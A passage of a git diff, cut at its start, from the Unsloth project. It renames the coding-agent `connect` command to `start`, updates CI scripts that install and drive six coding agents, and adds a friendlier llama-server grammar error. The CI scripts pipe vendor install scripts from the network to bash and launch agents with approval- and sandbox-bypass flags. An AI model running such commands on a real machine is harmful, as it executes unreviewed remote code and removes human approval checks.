patching $cfg with $py" + "$py" - "$1" "$cfg" <<'PY' import os, sys import yaml mode = sys.argv[1] -p = os.path.expanduser("~/.hermes/config.yaml") +p = sys.argv[2] cfg = (yaml.safe_load(open(p)) or {}) if os.path.exists(p) else {} ts = cfg.get("platform_toolsets") if not isinstance(ts, dict): @@ -274,10 +290,14 @@ PY # drop the auto-injected AGENTS.md/SOUL.md bootstrap (the bulk of the prompt) for # both modes. --agent must reference a defined agent, so write it before invoking. patch_openclaw_agent() { # $1 = notools|tools - python3 - "$1" <<'PY' + # OpenClaw reads its config from the relocated OPENCLAW_CONFIG_PATH that + # `unsloth start` printed, so patch THAT file (not the user's ~/.openclaw). + local cfg; cfg="$(raw_env OPENCLAW_CONFIG_PATH)" + [ -n "$cfg" ] || guide_fail "OpenClaw OPENCLAW_CONFIG_PATH missing from connect output (start.py openclaw())" + python3 - "$1" "$cfg" <<'PY' import os, sys, json mode = sys.argv[1] -p = os.path.expanduser("~/.openclaw/openclaw.json") +p = sys.argv[2] cfg = json.load(open(p)) if os.path.exists(p) else {} agents = cfg.setdefault("agents", {}) agents.setdefault("defaults", {})["skipBootstrap"] = True @@ -293,20 +313,24 @@ print(f"[openclaw] agent ci tools = {agent.get('tools', 'default')}") PY } -# Build an invoke script that applies connect.py's env then runs the launch +# Build an invoke script that applies start.py's env then runs the launch # command (with extra args appended) under bash. We do NOT eval connect's env # into this shell; we write it into a one-shot script so the export/unset -# semantics are exactly what connect.py printed. The script path is absolute +# semantics are exactly what start.py printed. The script path is absolute # so it is valid even when the caller has cd'd into a scratch work dir. invoke_via_connect() { # $1=outfile, rest=extra args appended to the command local out="$1"; shift local script="$LOGS_DIR/invoke-${AGENT}.sh" local real; real="$(mktemp)" + # CONNECT_ENV_EXTRA / CONNECT_CMD_OVERRIDE let a caller (attribution-ab) flip a + # session knob without editing the user's config; empty -> use what start.py emitted. + local cmd="${CONNECT_CMD_OVERRIDE:-$CONNECT_CMD}" { echo "set -uo pipefail" echo "$CONNECT_ENV" + [ -n "${CONNECT_ENV_EXTRA:-}" ] && echo "$CONNECT_ENV_EXTRA" # Append extra args (the prompt / flags) to the launch command verbatim. - printf '%s' "$CONNECT_CMD" + printf '%s' "$cmd" local a for a in "$@"; do printf ' %q' "$a"; done printf '\n' @@ -318,7 +342,9 @@ invoke_via_connect() { # $1=outfile, rest=extra args appended to the command # Writing the redacted copy up front keeps the key out of the artifact even if # the run times out (run_timed exits before returning here). cp "$real" "$script"; redact "$script" - echo "[$AGENT] invoking (timeout ${TIMEOUT}s): $CONNECT_CMD $*" + # The connect one-liner now carries the key as an inline env assignment; scrub it on + # the way to the log (the executed $real keeps the live value). + echo "[$AGENT] invoking (timeout ${TIMEOUT}s): ${cmd//${UNSLOTH_API_KEY}/} $*" run_timed "$out" bash "$real" local rc=$? rm -f "$real" @@ -332,27 +358,23 @@ case "$MODE" in connection) PROMPT='Reply with exactly the single word: pong' OUT="$LOGS_DIR/${AGENT}-connection.txt" - if [ "$AGENT" = "pi" ]; then - write_pi_config - run_timed "$OUT" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$PROMPT" - else - parse_connect - crosscheck_contract - # claude/codex run in print mode via the flags connect.py emits - # (claude -p / codex exec). For agents whose default subcommand prints - # to stdout we pass the prompt through ctx.args. - case "$AGENT" in - claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; - codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; - opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; - hermes) patch_hermes_tools none - invoke_via_connect "$OUT" -z "$PROMPT" ;; - openclaw) patch_openclaw_agent notools - invoke_via_connect "$OUT" agent --local --agent ci \ - --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; - *) invoke_via_connect "$OUT" "$PROMPT" ;; - esac - fi + parse_connect + crosscheck_contract + # claude/codex run in print mode via the flags start.py emits + # (claude -p / codex exec). For agents whose default subcommand prints + # to stdout we pass the prompt through ctx.args. + case "$AGENT" in + claude) invoke_via_connect "$OUT" "${CLAUDE_CONNECT_FLAGS[@]}" -p "$PROMPT" ;; + codex) invoke_via_connect "$OUT" exec --dangerously-bypass-approvals-and-sandbox "$PROMPT" ;; + opencode) invoke_via_connect "$OUT" run "$PROMPT" ;; + pi) invoke_via_connect "$OUT" -p "$PROMPT" ;; + hermes) patch_hermes_tools none + invoke_via_connect "$OUT" -z "$PROMPT" ;; + openclaw) patch_openclaw_agent notools + invoke_via_connect "$OUT" agent --local --agent ci \ + --model "unsloth/${UNSLOTH_MODEL_ID}" --message "$PROMPT" ;; + *) invoke_via_connect "$OUT" "$PROMPT" ;; + esac # A non-zero exit from the documented launch command is drift even if it # printed something: a benign-looking "command not found" / usage dump would # otherwise slip past assert_reply (which only flags empty/error-keyword text). @@ -371,22 +393,18 @@ case "$MODE" in T1='Create a file named hello.py in the current directory whose entire contents are a single line: print("Hello"). Do not run it.' T2='Run hello.py with python and show me the exact output.' - # The connect.py recipe writers + crosscheck must see the repo; run them + # The start.py recipe writers + crosscheck must see the repo; run them # from the repo root BEFORE cd-ing into the scratch work dir. - if [ "$AGENT" != "pi" ]; then - parse_connect - crosscheck_contract - # File-edit needs real tools, so we cannot zero them as in connection. - # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md - # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work - # dir is empty, so no project context files are auto-loaded either. - case "$AGENT" in - hermes) patch_hermes_tools default ;; - openclaw) patch_openclaw_agent tools ;; - esac - else - write_pi_config - fi + parse_connect + crosscheck_contract + # File-edit needs real tools, so we cannot zero them as in connection. + # hermes keeps default tools; openclaw still strips its AGENTS.md/SOUL.md + # bootstrap (the largest prompt chunk) via the 'ci' agent. The scratch work + # dir is empty, so no project context files are auto-loaded either. + case "$AGENT" in + hermes) patch_hermes_tools default ;; + openclaw) patch_openclaw_agent tools ;; + esac # Drive from inside the work dir so the agent edits files there. All log # writes use absolute $LOGS_DIR, so cwd does not matter for them. @@ -395,7 +413,14 @@ case "$MODE" in invoke_turn() { # $1=outfile $2=continue? $3=prompt local out="$1" cont="$2" prompt="$3" case "$AGENT" in - pi) run_timed "$out" pi -p --provider unsloth --model "$UNSLOTH_MODEL_ID" "$prompt" ;; + pi) + # Pi continues the previous session with -c; provider/model come from + # the parsed `unsloth start pi` recipe (CONNECT_CMD), not hardcoded here. + if [ "$cont" = "continue" ]; then + invoke_via_connect "$out" -p --continue "$prompt" + else + invoke_via_connect "$out" -p "$prompt" + fi ;; claude) # --dangerously-skip-permissions lets headless claude actually use the # Write/Bash tools (otherwise it blocks on an approval prompt and emits @@ -466,33 +491,32 @@ case "$MODE" in # right before the measured turn, so an earlier turn's reuse can't leak in. LLAMA_LOG_DIR="${UNSLOTH_LLAMA_LOG_DIR:-$HOME/.unsloth/studio/logs/llama-server}" export LLAMA_LOG_DIR - parse_connect # writes ~/.claude/settings.json (header=0) + env + parse_connect # prints session env + suppression flags (no ~/.claude write) crosscheck_contract PROMPT='Reply with exactly the single word: pong' - # Phase A: header DISABLED (=0, the documented setting) -> expect a HIT on - # the continued turn. connect.py's ensure_claude_attribution_header() set 0. + # Phase A: the suppression start.py ships (CLAUDE_CODE_ATTRIBUTION_HEADER=0 + + # --exclude-dynamic-system-prompt-sections + --settings overlay) -> expect a + # HIT on the continued turn, since the system-prompt prefix is stable. invoke_via_connect "$LOGS_DIR/claude-ab-hit-1.txt" -p "$PROMPT" # turn 1 primes FROM_HIT="$(bash "$CACHE_HELPER" mark)" # offset before turn 2 invoke_via_connect "$LOGS_DIR/claude-ab-hit-2.txt" -p --continue "$PROMPT again" CACHE_LOG_FROM="$FROM_HIT" bash "$CACHE_HELPER" log HIT - # Phase B: header ENABLED -> expect a MISS. The header prepends a - # per-request-changing attribution line to the system prompt, so the shared - # prefix changes every turn and the KV cache is invalidated (~90% slower); - # this is exactly what the guide flag prevents. - python3 - <<'PY' -import json, os -p = os.path.expanduser("~/.claude/settings.json") -s = json.load(open(p)) if os.path.exists(p) else {} -s.setdefault("env", {})["CLAUDE_CODE_ATTRIBUTION_HEADER"] = "1" -json.dump(s, open(p, "w"), indent=2) -PY + # Phase B: vanilla Claude with the header ENABLED -> expect a MISS. We flip + # the env var to 1 and strip the suppression flags from the launch command + # (without them the dynamic attribution line is included and changes every + # turn, so the shared prefix moves and the KV cache is invalidated, ~90% + # slower). This is session-only: nothing is written to ~/.claude. + CONNECT_ENV_EXTRA='export CLAUDE_CODE_ATTRIBUTION_HEADER=1' + CONNECT_CMD_OVERRIDE="$(printf '%s' "$CONNECT_CMD" \ + | sed -E "s/ --exclude-dynamic-system-prompt-sections//; s/ --settings '[^']*'//")" invoke_via_connect "$LOGS_DIR/claude-ab-miss-1.txt" -p "$PROMPT" FROM_MISS="$(bash "$CACHE_HELPER" mark)" invoke_via_connect "$LOGS_DIR/claude-ab-miss-2.txt" -p --continue "$PROMPT again" CACHE_LOG_FROM="$FROM_MISS" bash "$CACHE_HELPER" log MISS - echo "[claude] attribution A/B OK (header=0 HIT, header=1 MISS)" + unset CONNECT_ENV_EXTRA CONNECT_CMD_OVERRIDE + echo "[claude] attribution A/B OK (suppressed HIT, header=1 MISS)" ;; *) diff --git a/.github/scripts/agent-guides-install.sh b/.github/scripts/agent-guides-install.sh index dfab8aec80..daf4bacd3e 100755 --- a/.github/scripts/agent-guides-install.sh +++ b/.github/scripts/agent-guides-install.sh @@ -7,7 +7,7 @@ # is the single biggest source of false reds, so installs retry with # backoff and the only ::error:: this script can emit is class (b). The # install recipes mirror the install_hint strings in -# unsloth_cli/commands/connect.py at HEAD. +# unsloth_cli/commands/start.py at HEAD. # # Usage: agent-guides-install.sh # agent in: claude codex hermes openclaw opencode pi @@ -25,13 +25,14 @@ install_fail() { } # npm registry flakiness is common in CI; retry 3x with linear backoff. +# Extra npm flags may precede the package (e.g. npm_retry --ignore-scripts pkg). npm_retry() { - local pkg="$1" i + local i for i in 1 2 3; do - if npm install -g "$pkg" >> "$LOG" 2>&1; then + if npm install -g "$@" >> "$LOG" 2>&1; then return 0 fi - echo "[install] npm install -g $pkg attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" + echo "[install] npm install -g $* attempt $i failed; backing off $((i * 10))s" | tee -a "$LOG" sleep "$((i * 10))" done return 1 @@ -60,30 +61,30 @@ curl_bash() { echo "[install] agent=$AGENT (log=$LOG)" case "$AGENT" in claude) - # connect.py install_hint: curl -fsSL https://claude.ai/install.sh | bash + # start.py install_hint: curl -fsSL https://claude.ai/install.sh | bash curl_bash "https://claude.ai/install.sh" || install_fail "claude installer failed" # The installer drops the binary under ~/.local/bin. echo "$HOME/.local/bin" >> "$GITHUB_PATH" ;; codex) - # connect.py install_hint: npm install -g @openai/codex + # start.py install_hint: npm install -g @openai/codex npm_retry "@openai/codex" || install_fail "npm install -g @openai/codex failed" ;; opencode) - # connect.py install_hint: npm install -g opencode-ai + # start.py install_hint: npm install -g opencode-ai npm_retry "opencode-ai" || install_fail "npm install -g opencode-ai failed" ;; openclaw) - # connect.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash + # start.py install_hint: curl -fsSL https://openclaw.ai/install.sh | bash # npm is the more deterministic path in CI and matches the agent's docs; - # fall back to the connect.py curl installer if the npm tag is missing. + # fall back to the start.py curl installer if the npm tag is missing. if ! npm_retry "openclaw@latest"; then curl_bash "https://openclaw.ai/install.sh" || install_fail "openclaw install failed (npm + curl)" echo "$HOME/.local/bin" >> "$GITHUB_PATH" fi ;; hermes) - # connect.py install_hint: + # start.py install_hint: # curl -fsSL .../NousResearch/hermes-agent/main/scripts/install.sh | bash curl_bash "https://raw.githubusercontent.com/NousResearch/hermes-agent/main/scripts/install.sh" \ --non-interactive --skip-setup --skip-browser --no-skills \ @@ -91,11 +92,13 @@ case "$AGENT" in echo "$HOME/.local/bin" >> "$GITHUB_PATH" ;; pi) - # No connect.py recipe; the agent's documented package name. The CLI moved - # from the now-deprecated @mariozechner scope to @earendil-works (the old - # scope is frozen, so installing it would test a stale Pi against the API). - npm_retry "@earendil-works/pi-coding-agent" \ - || install_fail "npm install -g @earendil-works/pi-coding-agent failed" + # start.py install_hint: npm install -g --ignore-scripts @earendil-works/pi-coding-agent + # (--ignore-scripts matches Pi's documented recipe; exercising the exact hint + # catches guide drift). The CLI moved from the now-deprecated @mariozechner + # scope to @earendil-works (the old scope is frozen, so installing it would + # test a stale Pi against the API). + npm_retry --ignore-scripts "@earendil-works/pi-coding-agent" \ + || install_fail "npm install -g --ignore-scripts @earendil-works/pi-coding-agent failed" ;; *) install_fail "unknown agent '$AGENT'" diff --git a/.github/scripts/serve-unsloth-run.sh b/.github/scripts/serve-unsloth-run.sh index 34b8b962c6..6ac98ded7c 100755 --- a/.github/scripts/serve-unsloth-run.sh +++ b/.github/scripts/serve-unsloth-run.sh @@ -27,7 +27,7 @@ # # Outputs written to $GITHUB_ENV (and echoed): # UNSLOTH_API_KEY the sk-unsloth-* key minted on the banner -# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth connect` +# UNSLOTH_STUDIO_URL http://127.0.0.1: (so `unsloth start` # finds THIS server, not the hardcoded :8888) # UNSLOTH_BASE_URL same as UNSLOTH_STUDIO_URL (alias for clarity) # UNSLOTH_MODEL_ID the canonical id reported by /v1/models diff --git a/.github/workflows/local-agent-guides-ci.yml b/.github/workflows/local-agent-guides-ci.yml index 299ee3f18b..47f75dc1ba 100644 --- a/.github/workflows/local-agent-guides-ci.yml +++ b/.github/workflows/local-agent-guides-ci.yml @@ -6,29 +6,27 @@ # Detects when our local-agent setup recipes drift out of sync with # `unsloth run`. Boots a real `unsloth run --disable-tools` server and # drives the coding agents end to end through the *exact* recipes defined -# in unsloth_cli/commands/connect.py (the in-repo source of truth -- there -# is no docs/ tree). Wherever connect.py has a recipe we drive the agent -# via `unsloth connect --no-launch` and execute what it prints, so -# the test self-updates against connect.py and catches silent recipe drift. +# in unsloth_cli/commands/start.py (the in-repo source of truth -- there +# is no docs/ tree). Wherever start.py has a recipe we drive the agent +# via `unsloth start --no-launch` and execute what it prints, so +# the test self-updates against start.py and catches silent recipe drift. # # Source-of-truth files this workflow guards: -# unsloth_cli/commands/connect.py the `unsloth connect ` recipes +# unsloth_cli/commands/start.py the `unsloth start ` recipes # unsloth_cli/commands/studio.py the `unsloth run` banner (API Key line) # # Failure taxonomy (each surfaced with a distinct ::error:: + the agent name -# + the connect.py location, so a red X is immediately triageable): +# + the start.py location, so a red X is immediately triageable): # (a) Unsloth server/API regression -- the dialect HTTP preflight fails # BEFORE the agent runs (or the server never becomes healthy). # (b) Agent package install failed -- npm/curl install of the CLI failed. # (c) Guide drift -- preflight passed + install ok, but -# the documented `unsloth connect` flow produced no/garbled output. +# the documented `unsloth start` flow produced no/garbled output. # # Agents covered (6): claude, codex, hermes, openclaw, opencode, pi. -# - claude/codex/hermes/openclaw/opencode have a connect.py recipe. -# - pi has NO `unsloth connect pi` command in connect.py at HEAD; it is -# driven by a hand-written recipe and the matrix cell asserts that the -# missing connect recipe is the (known) reason, so the day connect.py -# grows a `pi` command this cell flips to the self-updating path. +# - All six have a `unsloth start ` recipe, so each cell obtains its +# env + command from `unsloth start --no-launch` and runs THAT +# (self-updating: a recipe change is exercised automatically). name: Local Agent Guides CI @@ -83,7 +81,7 @@ jobs: # ═════════════════════════════════════════════════════════════════════ # Job 1: connection # Per-agent: serve gemma-3-270m, HTTP-preflight the agent's dialect, - # install the agent, run `unsloth connect --no-launch`, execute + # install the agent, run `unsloth start --no-launch`, execute # the emitted recipe with a trivial prompt, assert a non-empty reply. # Runs on PR + weekly + dispatch. Each matrix cell is its own runner so # it serves exactly one model on its own port. @@ -103,7 +101,9 @@ jobs: env: # gemma-4-E4B (128K context, capable enough to drive every agent for a # trivial reply; the 270m model produced empty/failed responses for - # codex/openclaw and is below hermes' 64K context floor). Served as a flat + # codex/openclaw). Hermes' 64K context floor no longer constrains the model + # choice: write_hermes_config claims the floor for smaller windows and + # scales compaction back to the real window. Served as a flat # GGUF file (the -MTP- repo ships no separate draft, so this is plain 4B). GGUF_REPO: unsloth/gemma-4-E4B-it-GGUF GGUF_FILE: gemma-4-E4B-it-UD-Q4_K_XL.gguf @@ -209,7 +209,7 @@ jobs: ;; *) # OpenAI Chat Completions dialect (hermes/opencode/pi/openclaw). - # OpenClaw's connect.py recipe writes an "openai-completions" + # OpenClaw's start.py recipe writes an "openai-completions" # provider (write_openclaw_config), so it uses this path, not # /v1/messages. code=$(curl -s -o /tmp/pf.json -w '%{http_code}' "$B/v1/chat/completions" \ @@ -227,13 +227,13 @@ jobs: AGENT: ${{ matrix.agent }} run: bash .github/scripts/agent-guides-install.sh "$AGENT" - # ── (c) drive the agent via connect.py and assert a reply ────────── - # For the 5 agents with a connect.py recipe we run - # `unsloth connect --no-launch`, eval its env/unset exports, + # ── (c) drive the agent via start.py and assert a reply ────────── + # For the 5 agents with a start.py recipe we run + # `unsloth start --no-launch`, eval its env/unset exports, # then run the printed command with a hard timeout (no headless-TTY # hang). Pi has no connect recipe, so it is driven by hand and the # cell asserts that absence is the (known) reason. - - name: Drive ${{ matrix.agent }} via unsloth connect (class-c isolation) + - name: Drive ${{ matrix.agent }} via unsloth start (class-c isolation) env: AGENT: ${{ matrix.agent }} run: bash .github/scripts/agent-guides-drive.sh connection "$AGENT" @@ -248,8 +248,10 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi @@ -438,8 +440,10 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi @@ -582,8 +586,10 @@ jobs: # `API Key: `) into logs/unsloth-run-.log, and the upload # step publishes all of logs/, so scrubbing only studio-logs would leak # the bearer token in the retained artifact. + # Sweep EVERY uploaded path, not just logs/ -- redacted-configs/ and + # agent-workdir/ are published by the same upload step. if [ -n "${UNSLOTH_API_KEY:-}" ]; then - grep -rlF "$UNSLOTH_API_KEY" logs 2>/dev/null | while IFS= read -r f; do + grep -rlF "$UNSLOTH_API_KEY" logs redacted-configs agent-workdir 2>/dev/null | while IFS= read -r f; do sed -i "s#${UNSLOTH_API_KEY}##g" "$f" 2>/dev/null || true done fi diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py index 9d9db83543..a948a6eaf5 100644 --- a/studio/backend/routes/inference.py +++ b/studio/backend/routes/inference.py @@ -165,6 +165,26 @@ def _friendly_error(exc: Exception) -> str: return "An internal error occurred" +def _friendly_upstream_error(text: str) -> str: + """Rewrite a raw llama-server error body into an actionable message where we can. + + The main case is a tool-calling grammar that llama-server can't compile ("failed to + parse grammar" / "failed to initialize samplers"). This surfaces to coding agents as + a hard 400 on every tool-bearing turn. It is a llama-server limitation with some + model/quant + tool-schema combinations, and recent llama.cpp builds handle the common + coding-agent tools, so point the user at updating Studio rather than the raw body. + """ + lowered = text.lower() + if "failed to parse grammar" in lowered or "failed to initialize samplers" in lowered: + return ( + "The model couldn't compile a tool-calling grammar for this request. This is a " + "llama-server limitation with some model/quant and tool-schema combinations. " + "Update Studio (it installs the latest llama.cpp, which handles the common " + "coding-agent tools) or try a different GGUF model." + ) + return f"llama-server error: {text}" + + def _clamp_finish_reason(value) -> str: """Coerce an upstream finish_reason into OpenAI's known chat values. @@ -278,8 +298,8 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException": """HTTPException for a non-200 upstream response on the OpenAI passthrough (tools / response_format). An over-context upstream error is mapped to a 400 with code="context_length_exceeded" so these paths deliver the same signal as - the non-passthrough path; any other upstream error keeps llama-server's - message verbatim.""" + the non-passthrough path; a tool-grammar compile failure gets the same actionable + guidance as the Anthropic passthrough; any other upstream error stays verbatim.""" if _classify_llama_generation_error(Exception(text)): return HTTPException( status_code = 400, @@ -292,7 +312,7 @@ def _openai_passthrough_error(status_code, text) -> "HTTPException": ) return HTTPException( status_code = status_code, - detail = f"llama-server error: {text[:500]}", + detail = _friendly_upstream_error(text[:500]), ) @@ -8529,7 +8549,7 @@ async def _responses_stream( "output": [], "error": { "code": resp.status_code, - "message": f"llama-server error: {err_text[:500]}", + "message": _friendly_upstream_error(err_text[:500]), }, }, }, @@ -10096,7 +10116,7 @@ async def _anthropic_passthrough_stream( yield build_anthropic_sse_event( "error", anthropic_error_body( - f"llama-server error: {_err_text}", + _friendly_upstream_error(_err_text), status = resp.status_code, ), ) @@ -10199,7 +10219,7 @@ async def _anthropic_passthrough_non_streaming( if resp.status_code != 200: raise HTTPException( status_code = resp.status_code, - detail = f"llama-server error: {resp.text[:500]}", + detail = _friendly_upstream_error(resp.text[:500]), ) data = resp.json() diff --git a/studio/backend/tests/test_openai_tool_passthrough.py b/studio/backend/tests/test_openai_tool_passthrough.py index aa36c6fed4..1d725acd45 100644 --- a/studio/backend/tests/test_openai_tool_passthrough.py +++ b/studio/backend/tests/test_openai_tool_passthrough.py @@ -40,6 +40,7 @@ from routes.inference import ( _effective_max_tokens, _extract_content_parts, _friendly_error, + _friendly_upstream_error, _merge_user_content, _monitor_openai_chunk, _monitor_openai_sse_event, @@ -57,6 +58,32 @@ from routes.inference import ( from state.tool_policy import reset_tool_policy +class TestFriendlyUpstreamError: + def test_grammar_parse_failure_gets_actionable_message(self): + raw = '{"error":{"code":400,"message":"Failed to initialize samplers: failed to parse grammar","type":"invalid_request_error"}}' + msg = _friendly_upstream_error(raw) + assert "failed to parse grammar" not in msg # raw body is not surfaced verbatim + assert "tool-calling grammar" in msg and "Update Studio" in msg + + def test_failed_to_initialize_samplers_alone_matches(self): + assert "tool-calling grammar" in _friendly_upstream_error("Failed to initialize samplers") + + def test_unrelated_error_passes_through(self): + assert _friendly_upstream_error("out of memory") == "llama-server error: out of memory" + + def test_openai_passthrough_error_rewrites_grammar_failure(self): + # OpenAI-compatible agents (opencode/openclaw/hermes/pi via /v1/chat/completions) + # get the same actionable message as the Anthropic passthrough, not the raw body. + from routes.inference import _openai_passthrough_error + + exc = _openai_passthrough_error( + 400, '{"error":{"message":"Failed to initialize samplers: failed to parse grammar"}}' + ) + assert "tool-calling grammar" in exc.detail + # An unrelated upstream error still passes through verbatim. + assert "llama-server error:" in _openai_passthrough_error(500, "disk full").detail + + # ===================================================================== # ChatMessage — tool role, tool_calls, optional content # ===================================================================== diff --git a/studio/frontend/src/features/settings/components/agent-command.ts b/studio/frontend/src/features/settings/components/agent-command.ts new file mode 100644 index 0000000000..9e87922970 --- /dev/null +++ b/studio/frontend/src/features/settings/components/agent-command.ts @@ -0,0 +1,73 @@ +// SPDX-License-Identifier: AGPL-3.0-only +// Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0 + +// Build the `unsloth start ` command for the API-keys panel. +// `unsloth start` reads UNSLOTH_STUDIO_URL (default 127.0.0.1:8888) and only +// auto-mints a key for a loopback server, so the bare command is correct only for +// the default local server. For a non-default port or tunnel/remote base, emit the +// URL (plus a key for non-loopback) so the copy targets what the UI shows. + +const DEFAULT_STUDIO_PORT = "8888"; +const DEFAULT_AGENT = "claude"; + +// URL.hostname brackets IPv6 literals (`new URL("http://[::1]:8888").hostname` is +// "[::1]"), so strip the brackets before matching the bare "::1" loopback rules below. +function normalizeHost(host: string): string { + const lower = host.toLowerCase(); + return lower.startsWith("[") && lower.endsWith("]") ? lower.slice(1, -1) : lower; +} + +// The bare `unsloth start` probes exactly http://127.0.0.1:8888, so only that literal +// host earns the bare command. `localhost` can resolve to ::1 (and `::1` is never +// probed), so both keep an explicit UNSLOTH_STUDIO_URL -- harmless when they alias +// 127.0.0.1, correct when they don't. +function isDefaultLocalHost(host: string): boolean { + return host === "127.0.0.1"; +} + +// Match the CLI auto-mint rule (is_loopback_url): localhost, ::1, and all of 127.0.0.0/8. +function isLoopbackHost(host: string): boolean { + if (host === "localhost" || host === "::1") return true; + const octets = host.split("."); + return ( + octets.length === 4 && + octets[0] === "127" && + octets.every((o) => /^\d{1,3}$/.test(o) && Number(o) <= 255) + ); +} + +export function buildAgentCommand( + base: string | null | undefined, + key: string | null | undefined, + os: "unix" | "windows", + agent: string = DEFAULT_AGENT, +): string { + const bare = `unsloth start ${agent}`; + + let url: URL | null = null; + try { + if (base) url = new URL(base); + } catch { + url = null; + } + // Unknown base: fall back to the bare default-local command. + if (!url) return bare; + + const host = normalizeHost(url.hostname); + const loopback = isLoopbackHost(host); + // Default local server (http://127.0.0.1/localhost:8888): bare command + // auto-discovers it. The CLI's bare default probes plain HTTP, so an HTTPS + // loopback on the same port must keep its explicit UNSLOTH_STUDIO_URL. + if (url.protocol === "http:" && isDefaultLocalHost(host) && url.port === DEFAULT_STUDIO_PORT) { + return bare; + } + + // Non-default server: set the URL; non-loopback also needs an explicit key. + let cmd = bare; + if (!loopback && key) cmd += ` --api-key ${key}`; + + const studioUrl = url.origin; + return os === "windows" + ? `$env:UNSLOTH_STUDIO_URL="${studioUrl}"; ${cmd}` + : `UNSLOTH_STUDIO_URL=${studioUrl} ${cmd}`; +} diff --git a/studio/frontend/src/features/settings/components/usage-examples.tsx b/studio/frontend/src/features/settings/components/usage-examples.tsx index d66ca6105d..c43dd0f219 100644 --- a/studio/frontend/src/features/settings/components/usage-examples.tsx +++ b/studio/frontend/src/features/settings/components/usage-examples.tsx @@ -32,6 +32,7 @@ import { loadOpenAIAutoSwitchSettings, updateOpenAIAutoSwitchSettings, } from "../api/openai-auto-switch"; +import { buildAgentCommand } from "./agent-command"; type ExampleType = | "curl" @@ -441,6 +442,7 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { ); const [copied, setCopied] = useState(false); const [copiedUrl, setCopiedUrl] = useState(false); + const [copiedAgent, setCopiedAgent] = useState(false); const [useTunnel, setUseTunnel] = useState(readUseTunnelPref); // null while loading; the same setting the General tab exposes (shared cache). const [autoSwitch, setAutoSwitch] = useState( @@ -477,6 +479,11 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { () => buildSnippets(base, key, model, os, autoSwitchOn), [base, key, model, os, autoSwitchOn], ); + // Agent command must target the server the panel shows, not the :8888 default. + const agentCommand = useMemo( + () => buildAgentCommand(base, key, os), + [base, key, os], + ); const osAware = OS_AWARE[lang]; const shikiLang = CURL_TYPES.has(lang) @@ -520,6 +527,13 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { } }; + const handleCopyAgent = async () => { + if (await copyToClipboard(agentCommand)) { + setCopiedAgent(true); + setTimeout(() => setCopiedAgent(false), 1800); + } + }; + return (

@@ -689,6 +703,33 @@ export function UsageExamples({ apiKey }: { apiKey?: string | null }) { language={shikiLang} />

+
+ + {t("settings.apiKeys.codingAgents")} + + + {t("settings.apiKeys.codingAgentsHint")} + +
+ + {agentCommand} + + +
+ + {t("settings.apiKeys.codingAgentsSwap")} + +
{t("settings.apiKeys.setupDocs")} {DOC_LINKS.map((link) => ( diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts index 92abc222a0..3d73ad4343 100644 --- a/studio/frontend/src/i18n/locales/en.ts +++ b/studio/frontend/src/i18n/locales/en.ts @@ -440,6 +440,10 @@ export const en = { copy: "Copy", copied: "Copied", setupDocs: "Setup docs:", + codingAgents: "Coding agents", + codingAgentsHint: + "Launch a coding agent against this server. It uses the loaded model; a local server mints an API key automatically, a remote one includes it in the command.", + codingAgentsSwap: "Swap claude for codex, openclaw, opencode, hermes, or pi.", relativeNever: "never", relativeJustNow: "just now", relativeHoursAgo: "{count}h ago", diff --git a/unsloth_cli/__init__.py b/unsloth_cli/__init__.py index 440b6276cd..b3831f5314 100644 --- a/unsloth_cli/__init__.py +++ b/unsloth_cli/__init__.py @@ -11,7 +11,7 @@ from importlib.metadata import version as package_version, PackageNotFoundError from unsloth_cli.commands.train import train from unsloth_cli.commands.inference import inference from unsloth_cli.commands.chat import chat -from unsloth_cli.commands.connect import connect_app +from unsloth_cli.commands.start import start_app from unsloth_cli.commands.export import export, list_checkpoints from unsloth_cli.commands.studio import ( run as studio_run, @@ -79,9 +79,16 @@ app.command()(export) app.command("list-checkpoints")(list_checkpoints) app.add_typer(studio_app, name = "studio", help = "Unsloth Studio commands.") app.add_typer( - connect_app, + start_app, + name = "start", + help = "Start a coding agent (Claude, Codex, OpenClaw, OpenCode, Hermes, Pi) against Studio.", +) +# Backwards-compatible hidden alias: `unsloth connect` routes to `unsloth start`. +app.add_typer( + start_app, name = "connect", - help = "Connect a coding agent (Claude Code, Codex) to Studio.", + hidden = True, + help = "Deprecated alias for `unsloth start`.", ) # Top-level `unsloth run` aliases `unsloth studio run`; same context diff --git a/unsloth_cli/commands/connect.py b/unsloth_cli/commands/connect.py deleted file 